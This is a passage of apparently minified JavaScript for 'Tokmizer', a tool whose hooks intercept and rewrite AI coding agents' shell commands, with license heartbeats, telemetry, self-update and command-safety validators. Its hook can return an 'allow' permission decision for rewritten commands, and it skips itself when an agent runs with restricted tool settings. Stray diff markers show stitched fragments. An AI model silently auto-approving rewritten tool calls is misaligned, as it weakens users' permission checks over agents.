n==="tail"?YO.test(e):n==="journalctl"?Yk.test(e):n==="stern"||XO.has(n)&&/\blogs?\b/.test(e)&&Yk.test(e)?!0:rP(e.split(/\s+/))}var mu=/^[A-Za-z_][A-Za-z0-9_]*\+?=/,sP=/^[A-Za-z_][A-Za-z0-9_-]*\s*\(\s*\)/,iP=/(?:^|[;&|\n({])\s*[A-Za-z_][A-Za-z0-9_-]*\s*\(\s*\)/;function vr(e){let t=e.lastIndexOf("/");return t===-1?e:e.slice(t+1)}function lb(e){let t=new Array(e.length).fill(!1),n=[],r=0;for(;r<e.length;){let o=e[r],s=e[r+1],i=n[n.length-1];if(i==="'"){o==="'"&&n.pop(),r+=1;continue}if(o==="\\"){if(s===void 0)return null;r+=2;continue}if(i==="$'"){o==="'"&&n.pop(),r+=1;continue}if(o==="$"&&(s==="("||s==="{")){n.push(s==="("?")":"}"),r+=2;continue}if(o==="`"){i==="`"?n.pop():n.push("`"),r+=1;continue}if(i==='"'){o==='"'&&n.pop(),r+=1;continue}if(o==="$"&&s==="'"){n.push("$'"),r+=2;continue}if(o==="'"||o==='"'){n.push(o),r+=1;continue}if(o==="("||o==="{"&&i==="}"){n.push(o==="("?")":"}"),r+=1;continue}if(o===i){n.pop(),r+=1;continue}if(o===")"&&i===void 0)return null;t[r]=i===void 0,r+=1}return n.length===0?t:null}function du(e){let t=lb(e);if(!t)return!0;for(let n=0;n<e.length;n++)if(t[n]&&e[n]===">")return!0;return!1}function Er(e){let t=lb(e);if(!t)return[{kind:"cmd",text:e,unsafe:!0}];let n=[],r="",o=0,s=()=>{r.length>0&&(n.push({kind:"cmd",text:r}),r="")},i=(a,l)=>{s(),n.push({kind:"sep",text:a}),o+=l};for(;o<e.length;){let a=e[o],l=e[o+1];if(t[o]){if(a===">"&&l==="|"){r+=">|",o+=2;continue}if(a==="&"&&l==="&"){i("&&",2);continue}if(a==="&"&&l!==">"){let c=r.replace(/\s+$/,""),u=c[c.length-1];if(u!==">"&&u!=="<"&&u!=="&"){i("&",1);continue}}if(a==="|"&&l==="|"){i("||",2);continue}if(a==="|"&&l==="&"){i("|&",2);continue}if(a===";"&&l===";"){let c=e[o+2]==="&";i(c?";;&":";;",c?3:2);continue}if(a===";"||a===`
184
- `||a==="|"){i(a,1);continue}}r+=a,o+=1}return s(),n}function cb(e){return e.trim().split(/\s+/)[0]??""}function Ve(e,t=process.platform){try{let n=sb(HO(import.meta.url)),r=t==="win32",o=e&&e!=="claude-code"&&e!=="codex"&&!r?`TOKMIZER_HOST=${e} `:"";if(r&&(!e||e==="claude-code")){let l=j(n,"..","bin","tkr-exec.exe");if(kn(l))return fu(l,t)?`'${l.replace(/\\/g,"/").replace(/'/g,"'\\''")}'`:null}let s=j(n,"..","bin","tkr-exec"),i=!r&&kn(s);if(i&&!fu(s,t))return null;if(!r&&process.env.TOKMIZER_STABLE_RUN!=="0"){let l=Od(j(n,"..","bin","tkr-exec.js"));if(l&&(i||kn(j(n,"..","bin","tkr-exec.js"))))return`${o}'${l.replace(/'/g,"'\\''")}'`}if(i)return`${o}'${s.replace(/'/g,"'\\''")}'`;if(fe()){let l=r?process.execPath.replace(/\\/g,"/"):process.execPath;return`${o}'${l.replace(/'/g,"'\\''")}' exec`}let a=j(n,"..","bin","tkr-exec.js");return kn(a)?`${o}node '${a.replace(/'/g,"'\\''")}'`:null}catch{return null}}function gu(e,t="tkr-exec",n=()=>!0,r){return ub(e,t,0,n,r)}var aP=new Set(["{","for","while","until","if","case","select"]),lP=new Set(["}","done","fi","esac"]),cP=new Set(["then","do","else","elif","!","time","{","if","while","until"]);function uP(e,t){let n=e[t+1];return du(e[t].text)||n?.kind==="sep"&&(n.text==="|"||n.text==="|&")}function fP(e){let t=new Set,n=[];for(let r=0;r<e.length;r++){let o=e[r];if(!(o.kind!=="cmd"||o.unsafe))for(let s of o.text.trim().split(/\s+/)){if(lP.has(s)){let i=n.pop();if(i!==void 0&&uP(e,r))for(let a=i;a<=r;a++)t.add(a);continue}if(aP.has(s)&&n.push(r),!cP.has(s))break}}return t}function ub(e,t,n,r,o){if(e.includes("<<")||iP.test(e))return e;let s=Er(e),i=fP(s),a=[];for(let l=0;l<s.length;l++){let c=s[l];if(c.kind==="sep"||c.unsafe||i.has(l)){a.push(c.text);continue}let u=c.text.trim();if(!u){a.push(c.text);continue}let f=cb(u),d=s[l+1],p=d?.kind==="sep"&&(d.text==="|"||d.text==="|&"),g=d?.kind==="sep"&&d.text==="&",h=!p&&!g&&!du(c.text)&&!c.text.includes("<(")&&!c.text.includes(">(")?qO(u,t,n,r,o):null;if(h!==null){a.push(`${c.text.match(/^\s*/)?.[0]??""}${h}${c.text.match(/\s*$/)?.[0]??""}`);continue}if(u===t||u.startsWith(t)&&/^\s/.test(u.slice(t.length))||BO.has(f)||zO.has(f)||(Vk.has(f)||Vk.has(vr(f)))&&!GO(u)||mu.test(f)||f.startsWith("(")||f.startsWith("#")||f.startsWith("<")||f.startsWith(">")||sP.test(u)||oP(u,f)||f.endsWith(")")||p||g||du(c.text)||c.text.includes("<(")||c.text.includes(">(")||f==="node"&&u.includes("tkr-exec.js")||!r(f,u)){a.push(c.text);continue}let m=c.text.match(/^\s*/)?.[0]??"",_=c.text.match(/\s*$/)?.[0]??"";o?.(u),a.push(`${m}${t} ${u}${_}`)}return a.join("")}var dP=new Set(["command","workdir","timeout_ms","yield_time_ms","max_output_tokens","shell","login","tty","description"]),pP=new Set(["cd","cat","head","tail","ls","tree","find","grep","rg","wc","nl","sort","cut","diff","stat","file","du","df","ps","jq","yq","pwd","which"]),mP=new Set(["log","diff","show","status","blame","ls-files","rev-parse","describe","shortlog"]),gP={find:/^-(?:delete|exec|execdir|ok|okdir|fprint|fls)/,sort:/^(?:-[^-]*o|--output|--compress-program)/,rg:/^(?:--pre|--hostname-bin|-[^-]*z|--search-zip)/,yq:/^(?:-[^-]*[is]|--inplace|--split-exp)/,file:/^(?:-C|--compile)/,tree:/^(?:-o|--output|-R$|-H$)/,git:/^(?:--output|--ext-diff|--textconv|-c$|--exec-path|--git-dir|--work-tree)/,eslint:/^--fix/},Wi=["test","run test","run build","run lint","run typecheck"],hP={npm:new Set(Wi),pnpm:new Set([...Wi,"build","lint","typecheck"]),yarn:new Set([...Wi,"build","lint","typecheck"]),bun:new Set(Wi),cargo:new Set(["test","build","check","clippy"]),go:new Set(["test","build","vet"]),mvn:new Set(["test","compile","verify"]),gradle:new Set(["test","build","check"]),dotnet:new Set(["test","build"])},yP=new Set(["pytest","tsc","vitest","jest","eslint","mypy"]);function fb(e,t,n=0){if(/\$|`|<\(|>\(|\\\r?\n/.test(e)||/>/.test(e.replace(/2>&1|[12]?>\s*\/dev\/null/g,"")))return!1;for(let r of Er(e)){if(r.kind==="sep")continue;if(r.unsafe)return!1;let o=n<ib?ab(r.text.trim()):null;if(o){if(!fb(o.script,t,n+1))return!1;continue}let s=r.text.trim().split(/\s+/).filter(Boolean).map(c=>c.replace(/['"\\]/g,""));if(s.length===0)continue;if(s.some(c=>mu.test(c)))return!1;let i=vr(s[0]);if(i!==s[0])return!1;let a=gP[i];if(a&&s.slice(1).some(c=>a.test(c)))return!1;if((i==="git"?mP.has(s[1]??""):pP.has(i))||t&&yP.has(i))continue;let l=t?hP[i]:void 0;if(!(l&&(l.has(s[1]??"")||s[1]==="run"&&l.has(`run ${s[2]??""}`))))return!1}return!0}function db(e,t,n=Ve(t),r=Re,o=qi(),s=process.env.PATH,i=qo){if(!ae(e)||e.tool_name!=="Bash"||t==="claude-code"&&bP(i()))return null;let a=e.tool_input;if(!ae(a)||a.run_in_background)return null;let l=a.command;if(typeof l!="string"||!l||t==="codex"&&Object.keys(a).some(h=>!dP.has(h)))return null;let c=typeof e.cwd=="string"&&e.cwd?e.cwd:a.workdir,u=typeof c=="string"&&c?c:void 0,f=typeof e.session_id=="string"&&e.session_id?e.session_id:"unknown",d=typeof e.permission_mode=="string"?e.permission_mode:void 0,p=wb(l,{host:t,sessionId:f,cwd:u,claudeDirs:o,pathEnv:s,permissionMode:d},n,r);if(!p)return null;let g={...a,command:p.command};return JSON.stringify({hookSpecificOutput:t==="codex"?{hookEventName:"PreToolUse",permissionDecision:"allow",updatedInput:g}:p.allowedBy?{hookEventName:"PreToolUse",permissionDecision:"allow",permissionDecisionReason:`Tokmizer: allowed by your rule ${p.allowedBy}`,updatedInput:g}:p.ask?{hookEventName:"PreToolUse",permissionDecision:"ask",permissionDecisionReason:"Tokmizer shortens this command's output; nothing else changes.",updatedInput:g}:{hookEventName:"PreToolUse",updatedInput:g}})}var kP=/(?:^|\s)--(?:disallowedTools|disallowed-tools|settings|setting-sources)(?:[=\s]|$)/;function qo(e=process.env,t=process.platform){let n=Number(e.CLAUDE_PID)||process.ppid;if(t==="win32"||!Number.isInteger(n)||n<=1)return null;try{let r=FO("ps",["-ww","-o","args=","-p",String(n)],{encoding:"utf8",timeout:2e3});return r.status===0&&r.stdout.trim()?r.stdout:null}catch{return null}}function bP(e){return e===null||kP.test(e)}function wP(e,t){if(!kn(e))return"missing";try{let n=Wo(e,"utf8").replace(/^\uFEFF/,"");return n.trim()===""?{}:JSON.parse(t?pb(n):n)}catch{return"unreadable"}}function pb(e){let t="",n=!1;for(let r=0;r<e.length;r++){let o=e[r];if(n){t+=o,o==="\\"?t+=e[++r]??"":o==='"'&&(n=!1);continue}if(o==='"')n=!0,t+=o;else if(o==="/"&&e[r+1]==="/"){for(;r<e.length&&e[r]!==`
186
+ `)})}return await G_("verified"),s}U();import{chmod as K_,mkdir as W_,readFile as V_,writeFile as q_}from"node:fs/promises";async function Df(){try{let e=JSON.parse(await V_(ls(),"utf8"));return!e||typeof e!="object"||Array.isArray(e)?new Map:new Map(Object.entries(e).filter(t=>Number.isSafeInteger(t[1])))}catch{return new Map}}async function Ff(e){let t=await Df(),n=e.filter(r=>r.version<(t.get(r.slug)??-1/0));if(n.length>0)throw new Error(`bundle rollback refused: ${n.map(r=>`${r.slug} ${r.version} < ${t.get(r.slug)}`).join(", ")}`)}async function Lf(e){if(e.length!==0)try{let t=await Df();for(let n of e)t.set(n.slug,Math.max(t.get(n.slug)??n.version,n.version));await W_(b(),{recursive:!0,mode:448}),await q_(ls(),JSON.stringify(Object.fromEntries(t)),{mode:384}),await K_(ls(),384)}catch{}}var Hf=Object.freeze(["power","tkr-reducer","tkr","tkr-gain","tkr-status","tkr-link","tkr-unlink","tkr-compression","tkr-telemetry","tkr-update","tkr-yolo"]),jf=Object.freeze(["power","reducer-light","reducer-balanced","reducer-max"]),Y_=[[/allowed[-_]tools/i,"allowed-tools"],[/^[ \t]*["']?hooks["']?[ \t]*:/im,"hooks"],[/!`/,"shell execution"],[/^[ \t]*(`{3,}|~{3,})[ \t]*!/m,"shell execution"],[/(?<!\w)@[^\s@]/,"file reference"]];function Bf(e){for(let[t,n]of Y_)if(t.test(e))return n;return null}Na();As();$s();Ue();Dn();Pn();pt();Je();async function DS(e,t){let n=await q();if(!ee()||!n||n.linked===!1){let a=n?.plan??"free";if(e==="GET")return{plan:a,settings:await re()};let l=await Fa(t);return{plan:a,settings:l}}let r=ln(),o=await mt(),s=await Ge(e,"/api/v1/settings",t,{baseUrl:r,bearer:n.jwt,signingSecret:n.signingSecret,fingerprint:o.fingerprint,installId:o.installId,timeoutMs:8e3});if(!s.ok)throw new Error(`Settings ${e} failed: ${s.status}`);let i=await sn(s);return await Cs(i.settings),i}async function _d(){return DS("GET")}Je();pt();import{existsSync as gv,readFileSync as hv}from"node:fs";import{basename as yv}from"node:path";Os();import{dirname as VL,join as Ix}from"node:path";me();nt();function tm(){return Ix(Un(),"settings.json")}Gs();Ks();Ws();Ys();Qs();var kv=/^(?:tkr|tkr-exec(?:\.exe)?|tkr-[a-z-]+\.js|tkr-[a-z]+-hook|tkr-hook|tkr-shim-launch)$/;function bv(){return[{id:"claude",label:"Claude Code",files:[tm()]},{id:"codex",label:"Codex",files:[Le()]},{id:"cursor",label:"Cursor",files:[yo()]},{id:"gemini",label:"Gemini CLI",files:[ko()]},...nr.map(e=>({id:e.id,label:e.label,files:e.files()})),...Eo.map(e=>({id:e.host,label:e.label,files:[op(e)]}))]}function wv(e){let t=new Set;for(let n of e.matchAll(/(['"])((?:\/|[A-Za-z]:(?:\\\\|\\|\/))[^'"\n]+)\1/g)){let r=n[2].replace(/\\\\/g,"\\");kv.test(yv(r.replace(/\\/g,"/")))&&!gv(r)&&t.add(r)}return[...t]}function sp(e=bv()){let t=[];for(let n of e){let r=[];for(let o of n.files)try{r.push(...wv(hv(o,"utf8")))}catch{}r.length&&t.push({check:n,missing:[...new Set(r)]})}return t}U();ve();ve();io();ri();import{existsSync as $p,readFileSync as Op,rmSync as Ip,statSync as Bv,writeFileSync as Pp,mkdirSync as Np}from"node:fs";import{join as zv}from"node:path";import Cp from"node:os";function zl(){return zv(b(),"healed")}function Uv(e){if(!(e<=0))try{let t=Number(Op(zl(),"utf8"))||0;Np(b(),{recursive:!0,mode:448}),Pp(zl(),String(t+e),{mode:384})}catch{}}async function Mp(e){let t={staleShims:0,rewrittenShims:0,launcher:"absent",hookLauncher:"absent",globalPathRemoved:[],globalPathLines:0};if(Cp.platform()!=="win32"&&$p(ht())){let r=Ua(Wn(ht())),o=Kn(e.shimJs);!(!r||e.explicit===!0&&(o.single!==""||o.js!==""))||e.dryRun&&r?t.hookLauncher="ok":e.dryRun?t.hookLauncher="stale":t.hookLauncher=await Hd(o)?"written":"failed"}let n=$p(Ce())&&kp();if(n&&Cp.platform()!=="win32"){let r=Ua(Wn()),o=Kn(e.shimJs);!(!r||e.explicit===!0&&(o.single!==""||o.js!==""))||e.dryRun&&r?t.launcher="ok":e.dryRun?t.launcher="stale":t.launcher=await Ja(o)?"written":"failed"}if(n){let r=await xp(e.shimJs,{dryRun:e.dryRun===!0});t.staleShims=r.stale,t.rewrittenShims=r.rewritten}return e.rc&&(e.dryRun||(t.globalPathRemoved=await Rp()),t.globalPathLines=await Tp()),Uv(t.rewrittenShims+(t.launcher==="written"?1:0)+(t.hookLauncher==="written"?1:0)+t.globalPathRemoved.length),t}function Dp(e){try{e?(Np(b(),{recursive:!0,mode:448}),Pp(Ot(),String(Date.now()),{mode:384})):Ip(Ot(),{force:!0})}catch{}}function Fp(){try{return Math.min(1e6,Math.floor(Bv(no()).size/2))}catch{return 0}}function Lp(){try{Ip(no(),{force:!0})}catch{}}function Hp(){try{return Math.min(1e6,Number(Op(zl(),"utf8"))||0)}catch{return 0}}ri();async function jp(){try{if(!(await re()).telemetryOptIn)return;let e=await Mp({shimJs:Ap(),rc:!0,dryRun:!0});return{shimFallbacks:Fp(),staleShims:Math.min(1e3,e.staleShims+(e.launcher==="stale"?1:0)+(e.hookLauncher==="stale"?1:0)),brokenHooks:Math.min(1e3,sp().length),globalPathLines:Math.min(100,e.globalPathLines),healed:Hp(),failOpen:ke()}}catch{return}}Ct();$s();var ny="-command",ry=3;async function oy(){try{let{connectDaemon:e}=await Promise.resolve().then(()=>(Yl(),Vp)),t=await e();try{await t.reload()}finally{t.close()}}catch{}}async function sy(e,t){if(!(!t&&await Oa("power"))){try{let n=await Mf(e);await Ff(n);let r=[],o=[],s=[],i=[];for(let a of n){let l=a.slug.endsWith(ny),c=l?a.slug.slice(0,-ny.length):a.slug;if(!(l?Hf:jf).includes(c))continue;let u=Bf(a.body);u?s.push(`${a.slug} (${u})`):(l?await Pa(c,a.body):await Ia(c,a.body),i.push(a)),(l?o:r).push(c)}await Lf(i),await Ss(r),await xs(o),await Es(s.length?`unsafe bundle skipped: ${s.join(", ")}`:null)}catch(n){await Es(n instanceof Error?n.message:String(n))}try{await dd()}catch{}}}function L$(e){try{return new Intl.DateTimeFormat("en-CA",{timeZone:e,year:"numeric",month:"2-digit",day:"2-digit"}).format(new Date)}catch{return new Date().toISOString().slice(0,10)}}function Uo(e,t=0){let n=e.split(".")[1];if(!n)return!0;try{let r=Number(JSON.parse(Buffer.from(n,"base64url").toString("utf8")).exp);return!Number.isFinite(r)||r*1e3<=Date.now()+t}catch{return!0}}async function zo(e,t){let n=await q();return n&&n.token!==e.token?!1:(await Sa(t),!0)}async function mr(e){let t=await q();if(!t)return null;if(!ee())return t;let n=await mt(),r=t.timeZone??ps(),o=await jp(),s={ts:Date.now(),localDate:L$(r),timeZone:r,...o?{health:o}:{}},i;try{i=await Ge("POST","/api/v1/license/heartbeat",s,{baseUrl:e,bearer:t.jwt,signingSecret:t.signingSecret,fingerprint:n.fingerprint,installId:n.installId,timeoutMs:5e3})}catch{return t}if(i.status===401){let m=(t.heartbeatAuthFails??0)+1,g={...t,heartbeatAuthFails:m},h=t.linked??(!!t.email||t.plan==="smart"||t.plan==="pro");if(m>=ry&&h&&(g.relinkRequired=!0),!await zo(t,g))return null;if(m>=ry&&!h){try{await F$(`${b()}/state.replaced.json`,JSON.stringify(t),{mode:384})}catch{}try{return await H$(e)}catch{return null}}return null}if(i.status===451){let m=await q();if(m&&m.token!==t.token)return null;await pf();try{await Ss([]),await xs([])}catch{}return null}if(i.status===426)return await zo(t,{...t,updateRequired:!0}),null;if(i.status===423)return await zo(t,{...t,relinkRequired:!0}),null;if(!i.ok){if(i.status===400)try{(await i.json())?.code==="stale_ts"&&await zo(t,{...t,clockSkewDetected:!0})}catch{}return t}let a;try{a=await sn(i)}catch{return t}Dp(a.failOpen===!0),o&&Lp();let l=a.settingsRevision??0,c=t.lastSettingsRevision??0,u=l>c,f=a.plan!==t.plan,d={...t,jwt:a.jwt,plan:a.plan,status:a.status,trialEndsAt:a.trialEndsAt,subEndsAt:a.subEndsAt,jwtVersion:a.jwtVersion,lastSettingsRevision:c,lastHeartbeatOkAt:Date.now(),heartbeatAuthFails:0,relinkRequired:!1,updateRequired:!1,clockSkewDetected:!1,timeZone:r,bonusActive:a.bonusActive??!1,...a.bonusResetAt!==void 0?{bonusResetAt:a.bonusResetAt}:{},...a.latestPluginVersion?{latestPluginVersion:a.latestPluginVersion}:{},...Array.isArray(a.allowedFilters)?{allowedFilters:a.allowedFilters.map(fe)}:{}};if(u)try{await _d(),d.lastSettingsRevision=l}catch{}if(!await zo(t,d))return q();if(process.env.TOKMIZER_SELF_UPDATE_CHILD!=="1")try{let{maybeSpawnSelfUpdate:m}=await Promise.resolve().then(()=>(ug(),cg));m()}catch{}(u||f)&&await oy(),await sy(e,u||f);try{let{syncReducerRules:m}=await Promise.resolve().then(()=>(Bg(),jg));await m()}catch{}try{let{flushTelemetry:m}=await Promise.resolve().then(()=>(ur(),qg)),{flush:g}=await Promise.resolve().then(()=>(Bo(),ty));await m(e),await g(e)}catch{}return d}var nJ=5*6e4;async function H$(e){In();let t=await mt(),n=ps(),r={pluginVersion:ye,timeZone:n,...t},o=await Ge("POST","/api/v1/license/enroll",r,{baseUrl:e,fingerprint:t.fingerprint,installId:t.installId,timeoutMs:4e3});if(!o.ok)throw new Error(`enroll failed ${o.status}`);let s=await sn(o),i={token:s.token,jwt:s.jwt,signingSecret:s.signingSecret,plan:s.plan,status:s.status,trialEndsAt:s.trialEndsAt,subEndsAt:s.subEndsAt,jwtVersion:s.jwtVersion,installId:t.installId,fingerprint:t.fingerprint,pluginVersion:ye,email:"",timeZone:n,bonusActive:!1,linked:!1,lastHeartbeatOkAt:Date.now(),...Array.isArray(s.allowedFilters)&&s.allowedFilters.length>0?{allowedFilters:s.allowedFilters.map(fe)}:{}};return await Sa(i),await oy(),await sy(e,!0),i}Ue();Ue();Bo();ur();Je();var j$=10*6e4,iy=6e4;function ay(e){let t=0,n=async()=>{let r=Date.now();if(r-t<j$)return;let o;try{o=await mr(e)}catch{t=r;return}o&&!Uo(o.jwt,iy)&&(t=r)};return async()=>{if(!ee())return;let r=await q();if(!r)return;if(Uo(r.jwt,iy)){await n();return}(await Promise.all([Fc(e),Sc(e)])).includes("auth")&&await n()}}ds();U();Ct();import{randomBytes as QN,randomUUID as aw}from"node:crypto";import{lstatSync as eM,mkdirSync as tM,realpathSync as nM,renameSync as rM,rmSync as oM,writeFileSync as sM}from"node:fs";import{dirname as iM,join as sa}from"node:path";tn();Nn();U();qr();Wi();import{timingSafeEqual as Cu}from"node:crypto";import{chmodSync as JN,lstatSync as GN,realpathSync as ZN}from"node:fs";import{dirname as KN}from"node:path";import{createServer as WN}from"node:net";io();Os();fo();import{spawnSync as Sb}from"node:child_process";import{existsSync as Dt,readFileSync as Wo,readdirSync as Yi,statSync as kI}from"node:fs";import{homedir as wn,userInfo as bI}from"node:os";import{fileURLToPath as wI}from"node:url";import{dirname as xb,join as L,resolve as _I,win32 as SI}from"node:path";U();Xl();import{appendFileSync as OO,chmodSync as IO,mkdirSync as PO,existsSync as NO,readFileSync as lG,rmSync as cG}from"node:fs";import{dirname as MO,join as DO}from"node:path";var FO="usage.jsonl";var rb=2*1024*1024;function LO(){return DO(b(),FO)}function Re(e,t,n=LO()){try{let r=MO(n);NO(r)||PO(r,{recursive:!0,mode:448});let o=e.replace(/[^A-Za-z0-9._-]/g,"").slice(0,64)||"unknown";OO(n,`{"t":${Math.floor(Date.now()/1e3)},"s":"${o}","o":${t?1:0}}
187
+ `,{mode:384}),IO(n,384),ii(n,rb,rb/2)}catch{}}nt();kt();U();import{execFileSync as sI}from"node:child_process";import{mkdirSync as iI,readFileSync as lb,renameSync as aI,statSync as lI,writeFileSync as cI}from"node:fs";import{join as cb}from"node:path";import{closeSync as HO,openSync as jO,readSync as BO,readdirSync as zO,readFileSync as UO,statSync as sb}from"node:fs";import{homedir as JO}from"node:os";import{isAbsolute as GO,join as Vi,resolve as ZO}from"node:path";var KO=/^[A-Za-z0-9._+@%:,/-]+$/,WO=new Set(["7f454c46","feedface","feedfacf","cefaedfe","cffaedfe","cafebabe","bebafeca"]),VO=32,qO=4*1024*1024;function mu(e){let t;try{t=jO(e,"r");let n=Buffer.alloc(4),r=BO(t,n,0,4,0);return r>=2&&n[0]===35&&n[1]===33?"#!":r===4?n.toString("hex"):null}catch{return null}finally{t!==void 0&&HO(t)}}function Ko(e,t=process.platform){try{let n=sb(e);if(!n.isFile())return!1;if(t==="win32")return!0;if((n.mode&73)===0)return!1;let r=mu(e);return r==="#!"||r!==null&&WO.has(r)}catch{return!1}}function YO(e){if(/\.[A-Za-z0-9]+$/.test(e))return[e];let t=(process.env.PATHEXT??".COM;.EXE;.BAT;.CMD").split(";").filter(Boolean);return[e,...t.map(n=>e+n.toLowerCase())]}function xr(e,t,n,r=process.platform){if(!KO.test(e))return!1;let o=r==="win32";if(e.includes("/"))return Ko(ZO(t??process.cwd(),e),r);if(!n)return!1;let s=o?YO(e):[e];for(let i of n.split(o?";":":"))if(!(!i||!GO(i))){for(let a of s)if(Ko(Vi(i,a),r))return!0}return!1}var XO=/^eval \$'([^\s'()=]+) \(\) /,QO=/^([^\s'"()=]+) \(\) \{$/,eI=/^alias -- ([^\s=]+)=(.*)$/,tI=/^# (?:Shell Options|Aliases|Shopt|Check for |Shadow )/,nI=/^export PATH=(.*)$/,rI=/^(?:--colou?r(?:=\S+)?|-G)$/;function ob(e){return e.length>=2&&e.startsWith("'")&&e.endsWith("'")?e.slice(1,-1).replace(/'\\''/g,"'"):e.length>=2&&e.startsWith('"')&&e.endsWith('"')?e.slice(1,-1):e}function oI(e,t){let n="";for(let r of e.split(`
188
+ `)){let o=nI.exec(r);if(o&&n!=="# Functions"){let s=ob(o[1].trim());/[$`\\]/.test(s)||t.paths.push(s);continue}if(r.startsWith("# ")&&(n!=="# Functions"||tI.test(r))){n=r;continue}if(n==="# Functions"){let s=XO.exec(r)??QO.exec(r);s&&t.functions.add(s[1])}else if(n==="# Aliases"){let s=eI.exec(r);s&&t.aliases.set(s[1],ob(s[2].trim()))}}}function du(e){return e?.code==="ENOENT"}function ib(e){let t={functions:new Set,aliases:new Map,paths:[],uncertain:!1},n=Vi(e||Vi(JO(),".claude"),"shell-snapshots"),r=[];try{for(let o of zO(n)){if(!o.startsWith("snapshot-")||!o.endsWith(".sh"))continue;let s=Vi(n,o);try{let i=sb(s);i.isFile()&&r.push({path:s,mtime:i.mtimeMs,size:i.size})}catch(i){du(i)||(t.uncertain=!0)}}}catch(o){return du(o)||(t.uncertain=!0),t}r=r.sort((o,s)=>s.mtime-o.mtime).slice(0,VO);for(let o of r)try{if(o.size>qO)throw new Error("snapshot too large");oI(UO(o.path,"utf8"),t)}catch(s){du(s)||(t.uncertain=!0)}return t}function ab(e,t){if(t.uncertain||t.functions.has(e))return!0;let n=t.aliases.get(e);if(n===void 0)return!1;let r=n.trim().split(/\s+/);return r[0]!==e||!r.slice(1).every(o=>rI.test(o))}var uI="exec-probe.json",fI=6e4;function dI(){return cb(b(),uI)}function mI(e){try{let t=oe(lb(e,"utf8"));if(t==null||typeof t!="object")return null;let n=t;return typeof n.key!="string"||typeof n.ok!="boolean"?null:{key:n.key,ok:n.ok,at:typeof n.at=="number"?n.at:0,skipped:typeof n.skipped=="number"&&n.skipped>=0?n.skipped:0}}catch{return null}}function pI(e,t){try{iI(cb(e,".."),{recursive:!0,mode:448});let n=`${e}.${process.pid}.tmp`;cI(n,JSON.stringify(t),{mode:384}),aI(n,e)}catch{}}function gI(e){try{return sI(e,["--native-check"],{encoding:"utf8",timeout:2e3,maxBuffer:1024,stdio:["ignore","pipe","ignore"],windowsHide:!0}).startsWith("tokmizer-native ")}catch{return!1}}function hI(e,t){try{let r=lb(e,"utf8").split(`
189
+ `,1)[0].slice(2).trim().split(/\s+/),o=r[0]??"";return o==="/usr/bin/env"?xr(r[1]??"",void 0,t):Ko(o)}catch{return!1}}function yI(e,t,n){try{let r=lI(e);return[e,r.size,r.mtimeMs,r.ino,r.mode,t?n??"":""].join("|")}catch{return`${e}|missing`}}function pu(e,t=process.platform,n=process.env.PATH,r=dI(),o=Date.now()){let s=t!=="win32"&&mu(e)==="#!",i=yI(e,s,n),a=mI(r);if(a?.key===i&&(a.ok||o-a.at<fI))return a.ok;let l=Ko(e,t)&&(s?hI(e,n):gI(e));return pI(r,{key:i,ok:l,at:o,skipped:(a?.skipped??0)+(l?0:1)}),l}var xI=new Set(["tkr","tkr-exec","token","claude","cd","export","source","echo","mkdir","rm","mv","cp","chmod","ln","true","false",":","test","[","exit","return","nohup","sudo","doas","env"]),EI=new Set(["for","while","until","if","then","else","elif","fi","do","done","case","esac","select","function","time","coproc","in","!","[[","]]","{","}",".","declare","typeset","local","readonly","unset","set","shift","trap","wait","read","eval","exec","break","continue","pushd","popd","dirs","alias","unalias","hash","ulimit","umask","getopts","let","shopt","builtin","command","compgen","complete","disown","suspend","jobs","fg","bg","kill","history","fc","bind","enable","caller","type","printf","pwd","times","logout","mapfile","readarray","help","which","print","whence","where","autoload","zmodload","setopt","unsetopt","emulate","noglob","rehash","functions","bindkey","zle","vared","sched","limit","unlimit","zstyle","zparseopts","ttyctl"]),ub=new Set(["sh","bash","zsh","dash","ksh","fish","python","python3","python2","node","ruby","perl","php","awk","sed","deno","bun"]),fb="(?:dev|start|serve|watch|preview)",vI=new RegExp(`^(?:\\S*/)?(?:bun\\s+(?:install|i|add|remove|rm|update|outdated|audit|test|build|pm|x)(?:\\s|$)|bun\\s+run\\s+(?!${fb}(?:\\s|$))[A-Za-z0-9:_-]+(?:\\s|$)|deno\\s+(?:test|lint|fmt|check|compile|install|info|doc|bench|outdated)(?:\\s|$)|deno\\s+task\\s+(?!${fb}(?:\\s|$))[A-Za-z0-9:_-]+(?:\\s|$)|php\\s+-l(?:\\s|$)|php\\s+(?:\\S*/)?(?:phpunit|pest|paratest|phpstan|pint|ecs|php-cs-fixer|psalm|rector|run-tests\\.php)(?:\\s|$)|php\\s+artisan\\s+(?!(?:serve|tinker|queue:work|queue:listen|horizon|octane:start|reverb:start|schedule:work|pail|dev)(?:\\s|$))\\S)`),TI=/(?:^|\s)--watch(?:\s|=|$)/;function RI(e){return vI.test(e)&&!TI.test(e)}var AI=/^((?:\S*\/)?(sh|bash|zsh|dash|ksh|fish)\s+(-[elux]*c[elux]*)\s+)(['"])/,$I=/[()$]|(?:^|[;&|\n]\s*)(?:and|or|not|begin|end|if|else|switch|case|while|for|function|return)(?:\s|;|$)/,Eb=3;function vb(e){let t=AI.exec(e);if(!t)return null;let n=t[2]==="fish";if(n&&t[3]!=="-c")return null;let r=t[4],o=t[1].length+1,s=e.indexOf(r,o);if(s<=o)return null;let i=e.slice(s+1);if(i&&!/^\s/.test(i))return null;let a=e.slice(o,s);return r==='"'&&/[$`\\!]/.test(a)||n&&$I.test(a)?null:{script:a,start:o,end:s,quote:r}}var CI=new Set(["cd","export","set","unset","source",".","true",":","pushd","popd"]);function OI(e){return vr(e).filter(n=>{if(n.kind!=="cmd"||n.unsafe)return!1;let r=Rb(n.text);return r!==""&&!CI.has(r)&&!yu.test(r)}).length>1}function II(e,t,n,r,o){if(n>=Eb)return null;let s=vb(e);if(!s)return null;let{script:i,start:a,end:l,quote:c}=s,u=[],f=Ab(i,t,n+1,r,h=>u.push(h));if(f===i||c==='"'&&/["$`]/.test(f))return null;let d=c==="'"?f.replace(/'/g,"'\\''"):f,m=`${e.slice(0,a)}${d}${e.slice(l)}`,g=OI(i);if(o)for(let h of g?[e,...u]:u)o(h);return g?`${t} ${m}`:m}var db=/(?:^|\s)(?:--follow|-[0-9a-zA-Z]*f[a-zA-Z]*)(?:\s|=|$)/,PI=/(?:^|\s)(?:--follow|-[0-9a-zA-Z]*[fF][a-zA-Z]*)(?:\s|=|$)/,NI=new Set(["docker","podman","kubectl","nerdctl","docker-compose","stern","flyctl"]),mb=new Set(["npm","pnpm","yarn","bun"]),pb=/^(?:dev|start|serve|preview|watch)(?::\S*)?$/,MI=new Set(["--filter","-F","--dir","-C","--prefix","--workspace","-w","--cwd"]),gb=new 